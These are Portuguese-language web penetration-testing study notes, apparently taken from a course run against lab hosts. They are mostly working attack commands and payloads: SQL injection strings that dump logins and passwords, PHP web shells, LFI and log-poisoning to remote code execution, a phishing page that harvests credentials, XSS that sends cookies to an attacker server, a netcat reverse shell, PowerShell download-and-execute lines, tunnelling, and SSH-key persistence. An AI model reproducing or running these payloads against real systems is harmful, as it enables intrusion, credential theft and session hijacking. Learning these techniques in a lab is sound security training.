select substring("kidman",1,3); 

Traz as 3 primeiras letras da palavra

drop database teste;
source \home\user\Desktop\test.sql;
  • Sql Injection

.

select * from user where login='user' and senha='1234';

select * from user where login='hacker' or 1=1;# senha='1234';

select * from user where login='user' or 1=1;#

select * from user where login='user' or true limit 1;#

select * from user where login='user' and login='user' limit 1;#

create a duplicated user like `"darren"` as `" darren"` with a space in the beginning to authenticate with the same privilleges

.

gobuster dir -u -e http://192.168.1.10 -u /wordlist.txt -s "200,301,302,401" -a user-agent

Bruteforce de diretórios filtrando cod http e user agent

gobuster dir -u -e http://192.168.1.10 -u /wordlist.txt -s "200,301,302,401" -x .php,.txt,.sql,.bkp

Bruteforce de diretórios filtrando cod http e extensão de arquivos.

curl -v -X OPTIONS http://192.168.1.10 

Verifica todos os métodos do diretório, passar os outros dirs

nc -v 192.168.1.10 80 -C | PUT /webdav/ HTTP/1.1 host: 192.168.1.10 

Testando o metodo PUT

nc -v 192.168.1.10 80 -C | DELETE /webdav/ HTTP/1.1 host: 192.168.1.10 

Testando o metodo PUT

curl -v -X PUT http://192.168.1.10/webdav/test.txt 

Cria um arquivo no DIR

curl -v -X DELETE http://192.168.1.10/webdav/test.txt 

Deleta o arquivo do DIR

Nota: CVE-2017-12615 Vulnerabilidade de exploração do método PUT no webdav

curl -v -X PUT -d "<?php system('id');?>" https://192.168.1.10/webdav/comand.php 

Envia comando em php para interpretar e ganhar acesso ao host.

curl -v -X PUT -d "<?php system(\$_GET["kidman"])?>" http://192.168.1.10/webdav/com_par.php

Na URL passa o parâmetro /?kidman=cat /etc/passwd Explora podendo executar comandos

curl -v http://192.168.1.10/webdav/ --upload-file shell.php 

Fazer upload do código em php para o dir

shell.php <?php system($_GET["kidman"]); ?> 

Arquivo shell para chamar na URL e executar comandos (/?kidman=cat /etc/passwd)

cadaver http://192.168.1.10/webdav/

Ferramenta para invadir o host podendo dá um HELP e ver o comandos disponíveis

davtest --url http://192.168.1.10/webdav/ 

Testa a aplicação e retorno sobre os tipos de arquivos aceitos

curl -c -X POST http://192.168.1.10/logs 

Da bypass no diretório que estava pedindo autenticação, mas só funciona se a página aceitar o método POST

[Curl POST Examples] (https://reqbin.com/req/c-g5d14cew/curl-post-example) Nota: Atentar para vetores de ataques que podem ser: Métodos, campos de formulários, comportamento da página, ver código fonte, procurar por redirecionamentos dentro do site, podendo gerar uma página fake e enganar o usuário...

  • Código em PHP para usar em páginas falsas:

.

<?php

$caixa1 = $_POST["login"] . "\n";

$caixa2 = $_POST["senha"] . "\n";

$file = fopen("senhas.txt", "a");

$escrever1 = fwrite($file, $caixa1);

$escrever2 = fwrite($file, $caixa2);

fclose($file); 

header("Location: http://192.168.1.10/turismo/login.php")

?>

Nota: Observar link de reset de senha para ver se o email não passou o email codificado, podendo assim trocar a codificação por outra de outro email para fazer o takeover da outra conta. Assim como o redirect que contém codificação que pode ser trocada por outra e fazer o ataque de phishing.

  • Patch Transversal

Falhas em diretórios com erros na aplicação, parâmetros indefinidos... Sempre observar o código fonte. É quando a aplicação permite ver o patch dos arquivos locais.

http://192.168.1.10/turismo/logado.php?banners=/../../ 

Banners era um parâmetro indefinido que foi passado por parâmetro com falha

  • Sql Injection

.

hacker' or 1=1 limit 1;# 

Usar dentro do campo de login ou senha

hacker' and id=1 limit 1;# 

Usar dentro do campo de login ou senha

Métodos usados para fazer autenticação ou pelo menos tentar verificar se é vulnerável ou não à SQL Inj

LFI = Local File Inclusion

Identificar parâmetros na aplicação com LFI, colocando /../ e verificando o comportamento do parâmetro. Quando a aplicação forçar o .php ou outra extensão no final do arquivo, basta adicionar %00 para ignorar o resto da string

Exemplos abaixo:

    http://192.168.1.10/turismo/info.php?p=/../../../../

LFI - Windows List FOR MORE SOURCE

C:\Windows\System32\drivers\etc\hosts
c:\WINDOWS\system32\eula.txt
c:\WINDOWS\system32\
c:\boot.ini  
c:\WINDOWS\win.ini  
c:\WINNT\win.ini  
c:\WINDOWS\Repair\SAM  
c:\WINDOWS\php.ini  
c:\WINNT\php.ini  
c:\Program Files\Apache Group\Apache\conf\httpd.conf  
c:\Program Files\Apache Group\Apache2\conf\httpd.conf  
c:\Program Files\xampp\apache\conf\httpd.conf  
c:\php\php.ini  
c:\php5\php.ini  
c:\php4\php.ini  
c:\apache\php\php.ini  
c:\xampp\apache\bin\php.ini  
c:\home2\bin\stable\apache\php.ini  
c:\home\bin\stable\apache\php.ini
  • LFI -> RCE = Inserção de código no LOG

.

http://192.168.1.10/turismo/info.php?p=/../../../../var/log/apache2/access.log 

Para acesso ao log injetar via nc -v 192.168.1.10 80 -C a shell <?php system(\$_GET['kidman']);?> via requisição e depois colocar no final da URL /access.log&kidman=ifconfig. Podendo ser inserido também usando o user-agent com o burp. Verificar se o host também dispõe de outras portas abertas, por exemplo a 25 para fazer a exploração SMTP e por aí vai.

  1. Parte Email a Reverse Shell

     https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/
    
  2. SMTP Log Poisoning through LFI to RCE | SMTP PenTest

     https://youtu.be/-7sTypl3pNg
    
  3. SMTP Log Poisoning through LFI to Remote Code Execution

     https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/
    
     https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
    
     ssh '<?php system($_GET['kid']); ?>'@192.168.1.129 SSH TO RCE POISON
    

Opções de testes de leitura de arquivo: /var/log/auth.log /var/log/mail.log /var/spool/mail/www-data&kid=ls -la

telnet 192.200.0.128 25                                      

Trying 192.200.0.128...

Connected to 192.200.0.128.

Escape character is '^]'.

mail from:www-data

220 ubuntu.bloi.com.br ESMTP Postfix (Ubuntu)

250 2.1.0 Ok

rcpt to:www-data@ubuntu.local

250 2.1.5 Ok

data

354 End data with <CR><LF>.<CR><LF>

<?php system($_GET['kid']);?>                                          

. (lembrar de colocar o ponto e dar enter)

250 2.0.0 Ok: queued as 1C767C001F

quit

221 2.0.0 Bye

Connection closed by foreign host.
  • RFI: Remote File Intrusion

.

http://192.168.1.10/turismo/link.php?link=http://192.168.254.51:8080/injecao&kidman=ls 

Consiste em criar um servidor para pegar o redirecionamento que é feito externamente para mudar pra dentro do arquivo no servidor hacker com código malicioso assim tomando controle podendo usar comandos.

  • HTML injection

Procurar campos de formulários para a inserção de códigos HTML, podendo assim, adicionar texto, href, campos de dados...

http://192.168.1.10/turismo/procurar.php?busca=%3Ch1%3EPentester%3C%2Fh1%3E

Foi inserido o código <h1>Pentester</h1> dentro do formulário. Podendo ser inserido um href para redirecionar para outra página (fake) <a href=http://192.168.254.51>DESCONTÃO</a>

  • XSS Cross Site Scripting - refletido

Executar scripts JS dentro do campo de formulário, podendo também redirecionar para uma página fake ou roubar cookies...

Ex.:

<script>alert('Pentester')</script> 

Printa uma alert com o texto informado.

<script>document.location="http://192.168.10.1"</script> 

Redirecionamento para outra página

<script>alert(document.cookies)</script>

Roubo de cookies

  • SELF-XSS

Injetar código na página depois de notar como a aplicação se comporta depois de colocar uma / após a extensão da página que recebe um parâmetro /procurar.php?busca= ficando assim /procurar.php/. Se a página quebrar, pode testar a injeção de código JS como ...php/"><script>alert("Hakd")</script>

  • Stored XSS: Sequestro de Sessão

Consiste em armazenar código JS em banco de dados, através de um campo de formulário

Ao identificar este campo, pode-se abrir um serviço http via python e enviar uma requisição JS para esta máquina com o PHPSESSID (Cookie) através do script:

no server: 192.168.1.250 <script>new Image().src="http://192.200.1.120:8080/?="+document.cookie;</script> 

Esse script envia dados para o serviço aberto na máquina do atacante. Na máquina atacante vai chegar o cookie da sessão da máquina vítima, depois adiciona o cookie <script>alert(document.cookie="COOKIECAPT")</script>

  • Automatizando os testes: XSS

Ferramenta XSSSTRIKE no github. Ferramenta que faz a busca por vulnerabilidades XSS

python3 xsstrike.py -u "http://192.168.1.10/turismo/procurar.php?busca=" 

Faz teste no paramet

python3 sxxtrile.py -u "http://192.168.1.10/turismo/procurar.php" --params 

Procura por paramt

python3 xsstrike.py -u "http://192.168.1.10/turismo/procurar.php/" --path 

Faz um patch transversal

  • URL Encode

É a codificação que a url usa nos caracteres especiais ou acento. & e # deve ser passado pelo code pelo fato de ignorar os caracteres seguintes, dessa forma não se deve passar direto na URL e sim o cód correspondente.

  • SQL Injection Error Based

Quando ao inserir um \ ou ' no final do parâmetro, retorna um erro de sintaxe do sql, nesse caso identificando o erro e podendo explorar a vulnerabilidade.

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,3,4,5 %23 

Teste sql onde o número representa a quantidade de colunas, quando não retornar mais erro, o número é a quantidade de colunas daquela tabela %23 representa o # no url encode

192.168.1.10/turismo/agencias.php?loja=sp' order by 1,2,3,4,5' 

Também serve para fazer o teste que é de ordenação. No lugar dos números pode se passar version() user() database()

Ficando assim:

    192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,version(),user (),database() %23
  • SQLi Information Schema

Fazer consulta na base information schema onde tem todas as tabelas de todos os bancos.

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,table_name,4,5 from information_schema.tables%23 

Faz a consulta no banco e traz todas as tabelas de todas as bases

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,table_name,4,5 from information_schema.tables where table_schema="dbmrtur" %23 

Faz a consulta no banco e traz as tabelas apenas da base dbmrtur

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,culumn_name,4,5 from information_schema.columns where table_schema="dbmrtur"%23 

Faz a consulta de todas as colunas da base dbmrtur

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema="dbmrtur" %23 

Faz a concatenação das tabelas para ficar fácil a adivinhação dos nomes das tabelas na hora da enumeração com o Burp e o Length(group_concat()) pra pegar o tamanho

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,column_name,4,5 from information_schema.columns where table_schema="dbmrtur" and table_name="mrusers"%23 

Faz a consulta das colunas da informations schema na base dbmrtur trazendo as colunas da tabela mrusers

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,nome,login,senha from mrusers %23 Traz nome login e senha da base bdmrtur na tabela mrusers

192.168.1.10/turismo/agencias.php?loja=sp' union select 1,2,concat(login,':',senha),4,5 from mrusers %23 

Faz a busca por login e senha concatenados, usar quando houver poucas tabelas (espaços para consulta)

  • SQLi -> RCE

Fazer o carregamento de arquivos através da falha de SQL Injection error based

192.168.1.10/turismo/agencias.php?loja=' union all select 1,2,3,4,load_file("/etc/passwd") %23 

Ler arquivo através da falha

192.168.1.10/turismo/agencias.php?loja=' union all select 1,2,3,4,"KidMan" INTO OUTFILE "/var/www/html/turismo/banner/kidman.txt" %23 

Encontrar arquivo que tenha permissão de escrita para inserir o arquivo

192.168.1.10/turismo/agencias.php?loja=' union all select 1,2,3,4,"<?php system($_GET['hacker']);?>" INTO OUTFILE "/var/www/html/turismo/banners/kid.php" %23 

Insere um código em PHP no diretório para usar o parâmetro e executar códigos na página

192.168.1.10/turismo/banners/rce.php?hacker=ifconfig 

Usa o arquivo criado para inserir comandos

  • SQLi Manualmente

Nota: Geralmente quando a página traz um id não dá pra fazer a injeção SQL usando a "aspas simples" no início pelo fato de quebrar a consulta (observar o erro), neste caso deve-se usar sem as aspas simples e usar da mesma forma como é mostrado na SQLi Information Schema. Se montar a query com as aspas simples e ele der erro de sintaxe é porque deve-se usar sem as aspas.

  • Bypass Addslashes

Quando a aplicação tem o addslashes, ela adiciona ao final de cada consulta na url uma \ Para impedir a consulta sql via URL, e nisso vai aparecer um erro de sintaxe, porém um modo de burlar essa consulta é adicionando o char(100,15,236,145) correspondente à consulta, por exemplo, ao invés de colocar table_schema="dbmrtur" Colocar table_schema=char(100,98,109,114,116,117,114)

  • SQL Injection em PostgreSQL ver SQLi Information Schema

A sintaxe muda um pouco mas é basicamente a mesma estrutura. Quando no union select não aceitar os números 1 2 3 colocar null,null,null e quando for fazer o teste de string colocar 'teste' sem usar o %23. Para ver as informações do banco, usar current_database(), current_user, version(). A diferença do Mysql é que ao invés de usar where table_schema usar table_catalog='' quando for fazer a consulta das credenciais usar null,login||'-'||password| Deve usar o pipe para separar a concatenação. Host usado na aula: 192.168.1.9

Nota: Na requisição montar com a palavra null ou o número na frente ficando null from information... ou 5 from information...

  • Blind SQL Injection

É fazer o teste de SQL não somente com o ' mas com o comando booleano hack' or 1=1# Ou outra lógica para dar bypass (192.168.1.5)

  • Blind POST SQL Injection

Usando o BURP para testar as requisições e validar se a aplicação responde corretamente. Para dar bypass nessa vulnerabilidade deve usar os caracteres em decimal e ir perguntando para a aplicação se é verdadeiro ou não.

cond_valid' and database() = char(116,117,114,105,115,109,111) # 

Pergunta o nome da base

cond_valid' and length(database()) = 7 # 

Pergunta para aplicação o tamanho do nome da base de dados

cond_valid' and ascii(substring(database(),1,1)) = 100 # 

Pergunta se a primeira letra é 100 para perguntar a segunda letra basta alterar ,1,1 para ,2,1

cond_valid' and (select length(group_concat(table_name)) = 35 from information_schema.tables where table_schema="dbmrtur")# 

O numero altera de acordo com a dedução do tamanho da tabela

cond_valid' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema="dbmrtur"),1,1)) = 97#  

Chutar as letras para encontrar os nomes das tabelas.

cond_valid' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema="dbmrtur" and table_name="adm"),1,1)) = 105# 

Chutar as colunas da tabela informada

cond_valid' and ascii(substring((select login from adm limit 0,1),1,1)) = 97# 

Chutar os dados das colunas

  • Time Based SQLi

Baseada em tempo faz uma requisição colocando a aplicação para dar um sleep de tantos segundos, se ela demorar responder, ele é vulnerável.

' or sleep(4)# 

Verifica se a aplicação aguarda 4s

' or if (length(database()) = 7 , sleep(4),0)# 

Valida o tamanho da database

' or if (database() = char(100,98,109,114,116,117,114) , sleep(4),0)# 

Adivinha os char da database

' or if(ascii(substring(database(),1,1)) = 100, sleep(3),0)#

Chuta os char da database um por um

  • Automatizando os testes SQLi - SQLMap

.

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --current-db

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --dbs

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" -D dbmrtur --tables

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" -D dbmrtur -T mrusers --columns

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" -D dbmrtur -T mrusers --columns -C 'login,senha' --dump

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" -D dbmrtur -T mrusers --columns -C 'login,senha' --where "ativo='1'" --dump

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --current-user

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --users

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --passwords

sqlmap -u "192.168.1.10/turismo/agencias.php?loja=sp" --os-shell

sqlmap -u "192.168.1.10/turismo/turismo/login.php" --forms
  • Command Injection

Identificar na aplicação a possibilidade de injetar comandos depois de entender o funcionamento da aplicação, um dos testes a se fazer é ;ls;# ponto e vírgula serve para finalizar o comando e iniciar outro e o # serve para ignorar o que vier depois ou ;cat /etc/passwd;#

  • Automatizando os Testes Command Injection - COMMIX

A ferramenta commix serve para automatizar o command injection, deve-se identificar se a aplicação é POST ou não e informar o parâmetro que no caso do exemplo abaixo é site=

commix --url http://192.168.1.10/hosting/ --data="site=kidmancorp.com.br"
  • Enumerando campos com Intruder

Mandar o campo que deseja fazer intrusão para o INTRUDER do burpe suite e carregar a lista para fazer o bruteforce, podendo fazer o filtro pela palavra para saber quais palavras da wordlist é válida, ou está ativa. Na aula foi usado o link 192.168.1.10/turismo/ativar-conta.php no parâmetro login=

  • Fuzzing de Vulnerabilidade com o Burp

Fazer um bruteforce no burp com uma wordlist da seclists própria de fuzzing, dessa forma encontrando uma vulnerabilidade dando bypass na aplicação

Depois que interceptar a página, envia para o intruder, em Positions, limpa todas e adiciona apenas a posição que deseja. Em payload carregar a lista que precisa, no caso fuzzing na seclists. Depois adiciona em options->grep a palavra que vai identificar se deu certo ou não (resposta da aplicação), no caso Incorreto e adiciona SQL para notificar de erros SQL. Quando rodar, verificar onde não tem flag setada em incorreto e sql, pois possivelmente este será o payload correto. Para saber o payload basta selecionar e dar um send to decoder e fazer a decodificação de URL. O status possivelmente será 302 (redirecionamento) que possivelmente é o payload correto. Quando encontrar uma falha time-based enviar para o repeater e alterar o parâmetro Time e fazer o teste.. Os testes foram feitos na página de login e adm do host 192.168.1.10.

  • Teste de LFI com BURPSUITE - Local File Inclusion

Fazer da mesma forma como explicado acima, porém no parâmetro sobre.php na url (GET) depois inserir o GREP "include" para saber o endereços que não deram certo, o que não estiver com o include marcado é porque foi o payload correto.

  • Personalizando regras com Intruder do Burp Suite

Quando não conseguir enxergar os parâmetros que foram inseridos no form da página, verificar se não está encodado, assim possibilitando fazer uma personalização dos parâmetros enviando para o intruder, após descobrir qual encode a aplicação usa, e personalizar a wordlist separando por : se for o caso da aplicação. Em payloads Sets: Custom Interator Em Separator position: : Em payload Processing: Adicionar o tipo de encode, no exemplo base64. Host usado 192.168.1.10/logs

  • Realizando ataques com o Intruder - Burp

    Tipos de Ataques:

      Cluster bomb: Testa a lista inteira de usuários com a primeira senha
    
      Pitchfork: Posição um com a posição um das listas e não repete as credenciais "user:pass"
    
      Battering ran : Só trabalha com uma lista e repete o login na senha
    

    Payloads Sets:

      Simple List: Lista pequena 
    
      Runtime File: Lista grande 
    
      Brute forcer: que gera as possibilidades na hora.
    

Realizando ataques de força bruta HYDRA

hydra -v -L users.txt -P pass.txt 192.168.1.10 http-post-ou-get-form "/turismo/login.php:login=^USER^&senha=^PASS^&Login:incorreto"

hydra -s 80 -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.2 http-post-form "/app/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=180&User=^USER^&Password=^PASS^&submit:MSG-FALHA" -I

hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

Faz um brute force nos campos login e senha do formulário e "pressiona" o botão Login fazendo o filtro pela palavra incorreto sabendo que está com credenciais inválidas

  • Problemas de autorização Exemplo

Acessar páginas onde o usuário comum não tenha acesso.

Ao fazer uso da ferramenta, caso haja algum login válido e tenha conseguido acessar algo, pegar o cookie e passar para a ferramenta fazer o brute force de diretório, na intenção de encontrar mais diretórios e páginas que eram para estar restritas usando por exemplo no gobuster o -C "colocandoocookie"

  • Exemplos: Cookies e Sessões

Quando houver um redirecionamento forçando o navegador ir para a página correta, pode-se usar o CURL passando a página desejada de modo que ele não redirecione, a menos que use o -L. Podendo fazer o roubo do cookie, para ganhar acesso. O cookie da sessão do usuário limitado pode ser usado no curl na flag -c "cookie" Para facilitar o encontro de páginas. Para usar o curl no BURP, --proxy 127.0.0.1:8080 A requisição passará pelo burp podendo fazer o redirecionamento também. No burp, pode usar lá em options e marcar Intercept Client Requests e alterar o location para a pagina de acesso full. Para roubo de sessão, escutar em uma porta e mandar o link para o alvo, quando a vítima clicar o cookie dela será enviado para o atacante, desse modo podendo roubar a sessão da vítima.

  • File Disclosure

Acessar arquivos e fazer downloads do código fonte de páginas. Geralmente campos de upload, download e redirecionamento. Olhar o cookie e tentar decifrar e pedir outro arquivo, quando sem ideia, pode pedir o próprio arquivo de download. No Host 192.200.0.20/sistema - troca o cookie para true e faz um download do conecta.php pegando os dados do mysql para acessar o banco, pegar a senha e acessar o ssh.

  • Explorando inputs de Uploads

Identificar na aplicação campo de upload de arquivos.

192.200.40/_old/

Fazer o upload de arquivo com a extensão da aplicação .php .aspx

curl http://192.200.0.40/_old/upload/kidman.php -d "hack=id" 

Pegando o ID da máquina alvo

curl http://192.200.0.40/_old/upload/kidman.php -d "hack=/bin/nc 192.168.2.10 4455 -e /bin/bash/"

Para pegar a shell verificar se tem o netcat funcionando e abrir uma shell

  • Bypass Upload: Extensões

Algumas aplicações fazem o filtro mas não fazem corretamente, se tentar fazer o upload do arquivo shell.phP ele pode aceitar, devido o último P estar maiúsculo. Subir a shell em GET ou POST e ganhar acesso ao host.

  • Bypass Upload: .htaccess

Fazer o upload de um arquivo .htaccess pedindo para a aplicação interpretar como um .php todo arquivo .qqrcoisa da sua escolha. o código ficando: AddType application/x-httpd-php .sec

  • Bypass Upload: Tipo de conteúdo

Quando a aplicação trava o envio de uma extensão diferente da que ele permite tanto pelo tipo do arquivo .pdf quanto pelo head %PDF-1.5 É nesse caso necessário criar o script com a extensão .php.pdf com o head %PDF-1.5. para que a aplicação aceite o upload. Para fazer o teste, criar um script php com o comando echo mime_content_type('kidman.php.pdf'); e ver se o script reconhece como pdf de fato contendo o head com a flag pdf. Nisso subir o arquivo para a aplicação e usar a falha de LFI para acessar o arquivo e executar comandos em http://192.168.1.231/index.php?page=uploads/shell-get.php.pdf%00&kidman=id Os caracteres %00 servem para ignorar a extensao .pdf no final

  • Bypass de Upload de Imagens

Tentar as técnicas aprendidas acima, como alterar o head para GIF89a ou a extensão para .gif e buscar novas alternativas. Por exemplo, pesquisar por exploites de imagens para realizar testes. 192.200.0.130/uploads. ImageTragic.com CVE-2016-3714. Pegar o exploit.jpg

push graphic-context
	    viewbox 0 0 640 480
	    fill 'url(https:/";nc -e /bin/bash 192.200.1.86 443")'
	    pop graphic-context

e ver o comportamento da aplicação. Se positivo, pode se testar um wget na máquina do atacante ou ping ou nc reverso como no exemplo.

Outra tentativa seria inserir um código php no comentário da imagem:

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpg
  • PHP Wrappers

São funcionalidades/parâmetros do PHP mais atual, onde pode ser usado para obter acesso aos arquivos do server nos campos de input.

index.php?page=File:///../../../etc/passwd 

index.php?page=data://text/plan,KidMan 

index.php/data://text/plan;base64,REVTRUM= 

O comando em base64 é equivalente ao index.php?page=data://text/plan, Pode-se fazer também uma shell em php com o comando

        index.php?page=data://text/plan;base64,PD9waHAgc3lzdGVtKCRfR0VUWydoYWNrJ10pOyA/Pg==

OU passando diretamente o código se a aplicação aceitar index.php?page=data://text/plan,

  • Testando e explorando: Joomla

Aplicação de código aberto onde tem vários exploits públicos e várias vulnerabilidades principalmente de sql injection. Depois de fazer o mapeamento do código publico e fazer a enumeração da aplicação, verificar por ferramentas feitas especialmente para a aplicação: joomscan

joomscan -u http://192.200.0.106/ 

Enumera toda a aplicação buscando por vulns 44033 CVE-2017-8917 https://www.exploit-db.com/exploits/42033

sqlmap -u "http://192.200.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 

Vai trazer as tabelas

sqlmap -u "http://192.200.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D medica --tables -p list[fullordering]

sqlmap -u "http://192.200.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D medica -T info --columns -p list[fullordering]

sqlmap -u "http://192.200.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D medica -T info -C flag --dump -p list[fullordering]
  • Explorando o PHPMailer

Consiste basicamente em explorar vulnerabilidades da aplicação onde há campos de envio de mensagens como de comentários ou formulários de solicitação de contato, por isso o mailer, fazendo uso de exploits do exploit-db.com/exploits/40969 adaptando para uso do ambiente de teste atual assim como também o diretório onde será salvo o arquivo gerado pelo exploit. Alterar os parâmetros do campo do formulário e preencher todos para não dar erro de envio. Deve descobrir um local para upload de arquivos e que possa clicar para executar o arquivo e validar o código enviado. Se não funcionar alterar entre os payloads disponíveis. Além de opcionalmente enviar uma shell para a aplicação usando o $_GET ou o NC. Host 192.200.0.125

  • Construindo o Mindset Hacking

Sempre buscar saber como funciona toda a aplicação, seja buscando a aplicação na internet ou fazendo uma cópia, caso seja código aberto. Entendendo esse funcionamento, fica mais fácil a enumeração do alvo. Wordpress.org/download Fazer o donwload da aplicação para uso

unzip arquivo.zip -d /caminho/desejado/unzipeg

Descompacta o arquivo baixado

create database wordpress; 

Cria a base de dados para ser usada pelo wordpress

mv wp-configSample wp-config.php 

Renomeia o exemplo do arquivo de configuração para deixar pronto

nano wp-config.php 

Adiciona as informações do mysql e nome do banco de dados e finaliza a instalação na web.

  • Testando e explorando: Wordpress

Fazendo o reconhecimento da plataforma e posteriormente rodando ferramentas para descobrir vulnerabilidades. Wordpress usa o phpass como hash de senha.

gobuster dns -d grupokidmancorp.com -w /wordlist/smal.durb -t 30

Faz um BF na aplicação para descoberta de subdomínios

wpscan --url blog.kidmancorp.com/blog --api-token tokenaquiaddress 

Apenas para auth user

wpscan --url blog.kidmancorp.com/blog --api-token tokenapeiaddress --enumerate p --plugins-detection aggressive 

Busca por plugins da base previamente conhecida

wpscan --url blog.kidmancorp.com/blog --api-token tokenapeiaddress --enumerate vp --plugins-detection aggressive 

Busca por uma lista de plugins vulneráveis

Procurar pelo nome do exploit-db plugin plugin wpforum 1.7 exploit 17684

/blog/wp-content/themes/classic/404.php Caminho do plugin 404

  • Obtendo RCE via Wordpress

Quando com acesso à página de administração do wordpress, e para isso é recomendável procurar algum lugar que possibilite a edição e nisso inserindo um código php com o system(id); podendo executar códigos na aplicação e ganhar acesso ao servidor. Ao identificar, deve-se procurar o local/diretório deste plugin ou tema para poder ir até o mesmo e executar o código que foi inserido. tema usado foi o 404.php

  • Se mantendo atualizado OWASP

Open Web Application Security Project: https://owasp.org/

Laboratórios para montar local e/ou online:

    DBWA
    BWAPP
    PentesterLab

Livros:

    Webaplication Hackers
    Real World Bug Hunt
    Pentest em Aplicação web
    Arte de Invadir
    Arte de enganar

Filme:

    Prenda-me se for capaz
    VIPs
  • Inserção de código direta

Exploração de aplicações que fazem comandos no server, por exemplo, a resposta de um comando PING, para dar bypass basta inserir o | command # Exemplo: | ls #

  • Fazendo Select Direto Passando o banco MYSQL

    SELECT * FROM database.tabela

O comando faz um dump na tabela do banco passado, de todos os campos, podendo ser passado, claro os nomes dos campos para ter uma saída mais limpa

PÓS EXPLORAÇÃO

Diferença entre Shells -> interativa e não interativa

python -c 'import pty; pty.spawn("/bin/bash")'

Para pegar uma shel mais interativa.

  • Transferência de arquivos: WEB

    service apache2 start

Subindo o servidor

python -m SimpleHTTPServer 80

Subindo uma página local na porta informada usando python ou

    python3 -m http.server 80

Se conectando à ele (WINDOWS) Upload de arquivo jogar arquivo no host:

    1 - certutil.exe -urlcache -f http://192.200.1.6/file.exe file.exe Faz Download do arquivo

    2 - poweshell.exe wget http://192.200.1.6/file -OutFile file.exe Faz Download do arquivo

    3 - powershel.exe (New-Object  System.Net.WebClient).DownloadFile('http://192.200.1.6/file.exe','file.exe') Faz Download

    4 - powershel.exe IEX(New-Object System.Net.WebClient).DownloadString('http://192.200.1.6/file.exe','file.exe') Faz down e executa

Se conectando à ele (LINUX):

    wget http://192.200.1.6/file.exe -O /tmp/file.exe

    curl http://192.200.1.6/file.exe -o file.exe
  • Transferência de arquivos: FTP

Subindo o servidor

    pip install pyftplib

Subindo o servidor com python

    sudo apt install python3-pyftpdlib

    python -m pyftpdlib -p 4455 --write

Se conectando à ele (WINDOWS):

    ftp ip-do-alvo door
    USER anonymous
    PASS anonymous
    get arquivo.ext

Criando arquivo de conexão (Quando a shell não é interativa)

nano ftp.txt

.

echo open 192.168.254.51  > ftp.txt

echo USER anonymous >> ftp.txt

echo PASS anonymous >> ftp.txt

echo bin >> tp.txt

echo get arquivo.ext >> ftp.txt

echo quit >> ftp.txt

.

ftp -v -n -s:ftp.txt 

Usando o arquivo e baixando o arquivo do server

  • Transferência de arquivos: HEX

Transferir um programa usando o caracteres em HEX para copiar no CMD do alvo e ter o programa lá

upx -9 plink.exe 

Diminuir o tamanho do arquivo para gerar menos chars

ls -lh plink.exe 

Verifica o arquivo em kbytes para saber o tamanho

exe2hex -x plink.exe -p link.txt Usar -D 

Gera arquivo txt para colar no cmd (em sistema WIN mais antigos)

  • Transferência de arquivos: File Type

Mudar o header do arquivo para burlar a inserção do mesmo no alvo uma vez que o mesmo não tem outra possibilidade de rodar comando ou importar arquivos. Depois de já ter o RCE do alvo (arquivo que permita executar comandos no browser) gerar payload com msfvenom linx-86-meter-tcp -f elf para o sistema alvo. Criar arquivo com o %PDF-1.3 e juntar os dois com cat header shell > payload-psf e depois adicionar a extensão .pdf caso o sistema alvo barre a inserção mesmo assim. Para usar, é necessário tirar o header devido ser PDF com o comando (no browser)...hack=tail -n +2 uploads/payload.pdf > payload e depois ./payload Lembrar: Olhar o diretório, payload do msfconsole, porta, IP

  • Tunelamento: Linux

Enviar o serviço ssh do alvo para o atacante, quando o alvo está configurado para receber apenas conexões locais. Pra isso, é necessário usar o socat ou outros programas. no

ALVO

socat TCP4:ip-pentester:8443 TCP4:127.0.0.1:22 

(deixar aberto o terminal rodando)

ATACANTE

socat TCP4-LISTEN:8443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr 

Receberá a conexão reversa na máquina local

Nota: Para procurar pelo socat whereis socat ou dpkg -l | grep socat

  • Escalando acesso SSH sem senha (Not DONE)

Após feito o tunelamento usando o exemplo acima, deve-se criar as chaves pública e privada no atacante

Atacante

    ssh-keygen -f chave 

(chave p/ alvo e chave.pub p/ server)

Alvo (criar a estrutura do usuário)

    mkdir ~www-data

    mkdir ~/.ssh/

    touch ~/.ssh/authorized_keys

    echo "chave-publica(chave.pub)" > ~/.ssh/authorized_keys

Atacante

    ssh www-data@127.0.0.1 -p 2222 -i chave 

    ssh camila@192.168.1.31 -i id_rsa -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedAlgorithms=+ssh-rsa

Conecta com o servidor alvo usando a chave public&private

